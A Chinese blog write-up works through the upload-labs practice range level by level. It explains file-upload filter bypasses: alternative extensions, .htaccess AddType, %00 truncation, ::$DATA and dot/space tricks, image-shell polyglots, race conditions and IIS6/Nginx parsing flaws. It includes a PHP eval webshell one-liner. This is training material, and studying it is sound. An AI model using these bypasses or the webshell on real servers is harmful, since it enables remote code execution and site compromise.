前言
- 掌控安全里面的靶场upload-labs,练练手!
- 环境:http://59.63.200.79:8016/
pass-01
1 | function checkFile() { |
- 没有对文件进行限制抓包改,需要注意一点的就是图片马多生成几个试吧,有的图片不太行
pass-02
1 | $is_upload = false; |
- 只限制了content-type,并没有限制你改后缀名,和上题一样做法
pass-03
1 | $is_upload = false; |
- 过滤了几个,可以用其他试试phtml、php3、php.a、shtml,提示:如果是asp的就可以用cer、asa、cdx等
pass-04
1 | $is_upload = false; |
- 基本上都过滤了,用.htaccess文件绕过吧
- 这是解析漏洞 只有apache才有。
- .htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。
- 提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
- 这个漏洞的原理就是服务器没有过滤htaccess文件的上传,而htaccess文件上传后,当前目录就会按照这个配置文件里面的内容执行。
1 | AddType application/x-httpd-php .png |
pass-05
1 | $is_upload = false; |
- 过滤了一堆,但是有的大小写没过滤完整,拿出字典看看,用PhP试试
1 | phtml |
pass-06
1 | $is_upload = false; |
- 过滤的比较全面就是没有去空格的函数,提示也说了空格绕过
pass-07
1 | $is_upload = false; |
- 去了空格,过滤完美,提示说文件后缀点绕过,就在php后面加个.让他无法解析,就可以绕过了
pass-08
1 | $is_upload = false; |
- 和前面的代码有点不同,没有去掉::$DATA字符流windows文件流绕过
- 执行的时候不带::$DATA就行了
pass-09
1 | $is_upload = false; |
- 黑名单机制+删除掉文件名最后一个点(若有的话),判断最后一位是不是点,字符串首尾去空。根据代码反向思考构造可以绕过的后缀为.php.空格.
- 所以用.php.空格.就会删掉后面的点和去空格函数去掉但是还有一个.就形成绕过
pass-10
1 | $is_upload = false; |
- 解析:只是单纯的对第一次发现php进行删除,但是构造一个双写php被删了之后还是可以绕过,例如pphphp=php,检测到php就删了但是又构成了一个php
pass-11
1 | $is_upload = false; |
- 对文件名进行了随机,提示%00截断
pass-12
1 | $is_upload = false; |
pass-13
1 | function getReailFileType($filename){ |
- 检查图片前两个字节直接合一个图片马解析漏洞,多试几个图片吧,有的图片过大或者过小里面包含着特殊内容的,都可以pass
pass-14
1 | function isImage($filename){ |
- 只是换了个getimagesize的函数来判断图片类型,但是依旧是nginx的解析漏洞
pass-15
1 | function isImage($filename){ |
- 换了个模块,不影响我们传马,解析
pass-16
1 | $is_upload = false; |
- 对图片进行二次渲染,先上传一个图片,再对比原来的图片,查看渲染的主要位置,然后再不会被渲染的位置加上一句话木马
pass-17和pass-18条件竞争
1 | $is_upload = false; |
- 利用php写的函数来进行强制访问生成
1 | 'shell.php', '<?php eval($_REQUEST[2]);?>') file_put_contents( |
pass-19
1 | $is_upload = false; |
绕过方法:控制文件名字、或者控制文件夹的名字。
- apache解析漏洞,保存为phpinfo.php.xxx
- windows文件存储特性,加 .和空格
- 00截断
- /.,move_uploaded_file会忽略掉文件末尾的/.(和windows存储特性不同,这个是函数的特性)。
- 通过BP 抓包,然后修改数据包 :upload-20.php%00.jpg 在文件后缀加上jep , 然后用 %00 进行截断。
- 上传.php文件,保存为.jpg文件,上传成功;上传.jpg文件,保存为.php文件,上传失败。这样看来校验的应该是保存的文件名,那么又需要看是白名单校验还是黑名单校验,还是上传.php文件,随便输入一个保存的文件名,随便输入一个后缀名,或者是不写后缀名,保存成功。说明是黑名单验证。那黑名单验证就有太多的绕过方式了。
pass-20
IIS6.0解析漏洞(一):
IIS6.0解析漏洞分两种
1、目录解析
以*.asp命名的文件夹里的文件都将会被当成ASP文件执行。2、文件解析
*.asp;.jpg 像这种畸形文件名在“;”后面的直接被忽略,也就是说当成 *.asp文件执行。
IIS6.0 默认的可执行文件除了asp还包含这三种 *.asa *.cer *.cdx
- 可以直接菜刀连asp
pass-21
1 | $allowedExts = array("gif", "jpeg", "jpg", "png"); |
- 白名单机制不影响;来截断进行getshell
pass-22
- 直接上传一个图片,解析
pass-23
1 |
|
- 这题主要是教我们一个姿势,帮我们定好了文件名,上传一个包含asp一句话木马的图片
- 由此可以看出文件名中若是带有后缀asp的也可以在iis6.0中解析
pass-24
- 本题考查的是cgi解析漏洞:
Nginx在图片中嵌入PHP代码然后通过访问
*xxx.jpg/1.php *来执行其中的代码,上传一个图片马php
我的个人博客
孤桜懶契:http://gylq.github.io